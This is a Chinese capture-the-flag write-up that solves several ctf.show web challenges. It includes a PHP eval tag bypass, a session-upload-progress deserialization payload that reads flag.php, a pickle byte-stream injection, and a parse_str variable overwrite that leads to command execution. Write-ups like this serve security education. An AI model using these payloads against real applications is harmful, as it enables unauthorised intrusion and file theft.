easy_eval 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );$code  = $_POST ['code' ];if (isset ($code )){  $code  = str_replace ("?" ,"" ,$code );   eval ("?>" .$code ); } 
用原标签打不了了,只能换其他标签
1 code=<script language="php"> phpinfo();</script> 
然后代码执行就行
剪刀石头布 要求赢一百局才能拿到flag,show一下source
源码太长了,分段分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 <?php     ini_set ('session.serialize_handler' , 'php' );     if (isset ($_POST ['source' ])){         highlight_file (__FILE__ );     phpinfo ();     die ();     }     error_reporting (0 );     include  "flag.php" ;     class  Game          public  $log ,$name ,$play ;         public  function  __construct ($name              $this ->name = $name ;             $this ->log = '/tmp/' .md5 ($name ).'.log' ;         }         public  function  play ($user_input ,$bot_input              $output  = array ('Rock' =>'✌🏻' ,'Paper' =>'✊🏻' ,'Scissors' =>'✋🏻' );             $this ->play = $user_input .$bot_input ;             if ($this ->play == "RockRock"  || $this ->play == "PaperPaper"  || $this ->play == "ScissorsScissors" ){                 file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." Draw</div>\n" ,FILE_APPEND);                 return  "Draw" ;             } else  if ($this ->play == "RockPaper"  || $this ->play == "PaperScissors"  || $this ->play == "ScissorsRock" ){                 file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Lose</div>\n" ,FILE_APPEND);                 return  "You Lose" ;             } else  if ($this ->play == "RockScissors"  || $this ->play == "PaperRock"  || $this ->play == "ScissorsPaper" ){                 file_put_contents ($this ->log,"<div>" .$output [$user_input ].' VS ' .$output [$bot_input ]." You Win</div>\n" ,FILE_APPEND);                 return  "You Win" ;             }         }         public  function  __destruct (                 echo  "<h5>Game History</h5>\n" ;         echo  "<div class='all_output'>\n" ;                 echo  file_get_contents ($this ->log);         echo  "</div>" ;         }     } ?> <!DOCTYPE html> <html lang="en" > <head>     <meta charset="UTF-8" >     <meta http-equiv="X-UA-Compatible"  content="IE=edge" >     <meta name="viewport"  content="width=device-width, initial-scale=1.0" >     <link rel="icon"  href="icon.png" >     <title>Rock Paper Scissors</title>     <!-- post 'source'  to view something -->      <link rel="stylesheet"  href="style.css" > </head> <?php     session_start ();     if (isset ($_POST ['name' ])){         $_SESSION ['name' ]=$_POST ['name' ];         $_SESSION ['win' ]=0 ;     }     if (!isset ($_SESSION ['name' ])){         ?>          <body>             <h5>Input your name :</h5>             <form method="post" >             <input type="text"  class ="result " name ="name "></input >             <button  type ="submit ">submit </button >             </form >         </body >         </html > <?php  exit ();     } ?> <body > <?php  echo  "<h5 >Welecome  ".$_SESSION ['name '].", now  you  win  ".$_SESSION ['win ']." rounds .</h5 >";$Game =new  Game ($_SESSION ['name ']); ?>     <h5 >Make  your  choice  :</h5 >     <form  method ="post ">     <button  type ="submit " value ="Rock " name ="choice ">✌🏻</button >     <button  type ="submit " value ="Paper " name ="choice ">✊🏻</button >     <button  type ="submit " value ="Scissors " name ="choice ">✋🏻</button >     </form >     <?php      $choices  = array ("Rock ", "Paper ", "Scissors ");     $rand_bot  = array_rand ($choices );     $bot_input  = $choices [$rand_bot ];     if (isset ($_POST ["choice "]) AND  in_array ($_POST ["choice "],$choices )) {        $user_input  = $_POST ["choice" ];         $result =$Game ->play ($user_input ,$bot_input );         if  ($result =="You Win" ){             $_SESSION ['win' ]+=1 ;         } else  {             $_SESSION ['win' ]=0 ;         }     } else  {         ?>          <form method="post" >         <button class ="flag " value ="flag " name ="flag ">get  flag </button >         <button  class ="source " value ="source " name ="source ">show  source </button >         </form >         <?php          if (isset ($_POST ["flag "])) {            if ($_SESSION ['win' ]<100 ){                 echo  "<div>You need to win 100 rounds in a row to get flag.</div>" ;             } else  {                 echo  "Here is your flag:" .$flag ;             }         }     }     ?>  </body> </html> 
其实这里的话我看到开头这个ini_set设置就猜到是session反序列化了,看了一下配置,发现用的序列化引擎确实不一样
然后看一下是否需要条件竞争
1 session.upload_progress.cleanup	Off 
关掉了,那就轻松一点
这里的话很简单,直接读取flag文件就行了,其他的代码都不重要,写poc
1 2 3 4 5 6 7 8 9 <?php class  Game     public  $log  = "/var/www/html/flag.php" ; } $a  = new  Game ();echo  serialize ($a );?> 
生成链子,然后写个上传文件的html
1 2 3 4 5 6 <form action="https://153d0900-ae62-44d4-a0c2-f76f6c47d1da.challenge.ctf.show/" method="POST" enctype="multipart/form-data">     <!--题目地址 -->     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />     <input type="file" name="file" />     <input type="submit" /> </form> 
然后上传我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST / HTTP/1.1 Host: 153d0900-ae62-44d4-a0c2-f76f6c47d1da.challenge.ctf.show Content-Length: 352 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8mc98xrP0GIwfwA Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Cookie: PHPSESSID=wanth3f1ag Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive ------WebKitFormBoundaryH8mc98xrP0GIwfwA Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 1 ------WebKitFormBoundaryH8mc98xrP0GIwfwA Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}" Content-Type: text/plain 123 ------WebKitFormBoundaryH8mc98xrP0GIwfwA-- 
这里的话PHP_SESSION_UPLOAD_PROGRESS会将内容保存到我们的sessid文件中,然后在回调函数read执行的时候进行反序列化就会触发destruct魔术方法
baby_pickle 看附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import  base64import  pickle, pickletoolsimport  uuidfrom  flask import  Flask, requestapp = Flask(__name__) id  = 0 flag = "ctfshow{"  + str (uuid.uuid4()) + "}"  class  Rookie ():    def  __init__ (self, name, id  ):         self .name = name         self .id  = id  @app.route("/"  def  agent_show ():    global  id      id  = id  + 1      if  request.args.get("name" ):         name = request.args.get("name" )     else :         name = "new_rookie"      new_rookie = Rookie(name, id )     try :         file = open (str (name) + "_info" , 'wb' )         info = pickle.dumps(new_rookie, protocol=0 )         info = pickletools.optimize(info)         file.write(info)         file.close()     except  Exception as  e:         return  "error"      with  open (str (name)+"_info" , "rb" ) as  file:         user = pickle.load(file)     message = "<h1>欢迎来到新手村"  + user.name + "</h1>\n<p>"  + "只有成为大菜鸡才能得到flag"  + "</p>"      return  message @app.route("/dacaiji"  def  get_flag ():    name = request.args.get("name" )     with  open (str (name)+"_info" , "rb" ) as  f:         user = pickle.load(f)     if  user.id  != 0 :         message = "<h1>你不是大菜鸡</h1>"          return  message     else :         message = "<h1>恭喜你成为大菜鸡</h1>\n<p>"  + flag + "</p>"          return  message @app.route("/change"  def  change_name ():    name = base64.b64decode(request.args.get("name" ))     newname = base64.b64decode(request.args.get("newname" ))     file = open (name.decode() + "_info" , "rb" )     info = file.read()     print ("old_info ====================" )     print (info)     print ("name ====================" )     print (name)     print ("newname ====================" )     print (newname)     info = info.replace(name, newname)     print (info)     file.close()     with  open (name.decode()+ "_info" , "wb" ) as  f:         f.write(info)     return  "success"  if  __name__ == '__main__' :    app.run(host='0.0.0.0' , port=8888 ) 
看到pickle.load函数第一个想的就是pickle反序列化
分析一下,flask框架,在/路由下接收一个name参数并将name和id传入Rookie中并实例化对象后序列化传入文件中,然后在/dacaiji路由下检测id的值,如果值是0才能拿到flag,但是前面id是不可控的
最后在/change路由下,这里会对name进行重命名newname,说明这里的name可控,也是我们的入手点
先可控pickle序列化后的内容是什么样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  pickle, pickletoolsclass  Rookie ():    def  __init__ (self, name, id  ):         self .name = name         self .id  = id  name = "test"  id  = 1 new_rookie = Rookie(name, id ) file = open (str (name) + "_info" , 'wb' ) info = pickle.dumps(new_rookie, protocol=0 ) info = pickletools.optimize(info) file.write(info) file.close() 
生成test_info文件
1 2 3 4 5 6 7 8 9 10 11 ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vtest sVid I1 sb. 
这里就是pickle序列化后的字节流了,然后这里的话id是1,我们这时候该怎么去改变id的值呢?
这里可以看到末尾的sb.是结束了的,那我们是否可以构造一个name的值让sb.提前结束呢?
payload
本地测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import  pickle,pickletoolsimport  base64name = base64.b64decode("dGVzdA==" ) newname = base64.b64decode("dGVzdApzVmlkCkkwCnNiLg==" ) file = open (name.decode() + "_info" , "rb" ) info = file.read() info = info.replace(name, newname) file.close() with  open (name.decode() + "_info" , "wb" ) as  f:    f.write(info)     print ("success" ) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vtest sVid I0 sb. sVid I1 sb. 
可以看到这里是成功写入了,那我们就可以试着打一下
base64编码一下
1 2 3 /?name=test /change?name=dGVzdA==&newname=dGVzdApzVmlkCkkwCnNiLg== /dacaiji?name=test 
repairman 根页面打开一会就跳转了,然后啥线索都没有
然后把mode参数的值从1改为0就跳转到源代码页面了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 Your mode is the guest!hello,the repairman! <?php  error_reporting (0 );session_start ();$config ['secret' ] = Array ();include  'config.php' ;if (isset ($_COOKIE ['secret' ])){    $secret  =& $_COOKIE ['secret' ]; }else {     $secret  = Null; } if (empty ($mode )){    $url  = parse_url ($_SERVER ['REQUEST_URI' ]);     parse_str ($url ['query' ]);     if (empty ($mode )) {         echo  'Your mode is the guest!' ;     } } function  cmd ($cmd     global  $secret ;     echo  'Sucess change the ini!The logs record you!' ;     exec ($cmd );     $secret ['secret' ] = $secret ;     $secret ['id' ] = $_SERVER ['REMOTE_ADDR' ];     $_SESSION ['secret' ] = $secret ; } if ($mode  == '0' ){         if ($secret  === md5 ('token' )){         $secret  = md5 ('test' .$config ['secret' ]);         }         switch  ($secret ){             case  md5 ('admin' .$config ['secret' ]):                 echo  999 ;                 cmd ($_POST ['cmd' ]);             case  md5 ('test' .$config ['secret' ]):                 echo  666 ;                 $cmd  = preg_replace ('/[^a-z0-9]/is' , 'hacker' ,$_POST ['cmd' ]);                 cmd ($cmd );             default :                 echo  "hello,the repairman!" ;                 highlight_file (__FILE__ );         }     }elseif ($mode  == '1' ){         echo  '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged' ;     }else {         header ('refresh:5;url=index.php?mode=1' );         exit ;     } 
审了一下代码,发现$secret =& $_COOKIE['secret'];这里是引用赋值,此时$secret 和 $_COOKIE['secret'] 指向同一个值。
因为这里并不知道$config['secret']的内容,所以这里只能进入666的分支,但是这里只能通过字母数字执行命令,而且无回显,想rce几乎不可能,那我们只能走向999的分支了,问题是怎么构造呢?
1 2 3 4 5 6 7 if (empty ($mode )){    $url  = parse_url ($_SERVER ['REQUEST_URI' ]);     parse_str ($url ['query' ]);     if (empty ($mode )) {         echo  'Your mode is the guest!' ;     } } 
这里有一个变量覆盖的函数,一开始没想到这段代码有什么用,只觉得传一个mode而已,后面无路可走了返回来看,想到可以覆盖变量修改$config['secret']的内容,我们试一下
1 ?mode=0&config[secret]=1&secret=e00cf25ad42683b3df678c61f42c6bda 
这里因为可以变量覆盖,所以不需要再往cookie里去传了
输出999,意味着我们进入了这一分支,我们传命令打无回显RCE
1 cmd=cat config.php > flag.txt 
简单的数据分析 有一个/source/model.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 D = random.randint(100 , 200 ) pData = [numpy.random.random(D)*100 ,numpy.random.random(D)*100 ,numpy.random.random(D)*100 ] try :    data = request.form.getlist('data[]' )     data = list (map (float ,data))     data = numpy.array(data) except :    msg="数据转换失败"  try :    distance =[numpy.linalg.norm(A-data) for  A in  pData]     avgdist = numpy.mean(numpy.abs (distance - numpy.mean(distance))**2 )     if  avgdist<0.001 :         msg= flag     else :         msg= f"您的数据与三个聚类中心的欧拉距离分别是<br><br>{distance} 均方差为:{avgdist} "  except :    msg="未提交数据或数据维度有误"  
生成三个长度为 D 的随机数组(pData),每个数组的元素是 0 到 100 之间的随机浮点数。然后从表单中获取名为 data[] 的输入字段的值,并将其转换为浮点数列表,之后将列表转化成数组 
然后就是计算欧拉距离了,这里会将计算我们传入的数据data和pData数组中三个聚类中心之间的欧拉距离,并计算这些距离的方均差,如果均方差小于 0.001,返回 flag。 
 
不会啊完全看不明白入手点在哪,先搁置一下吧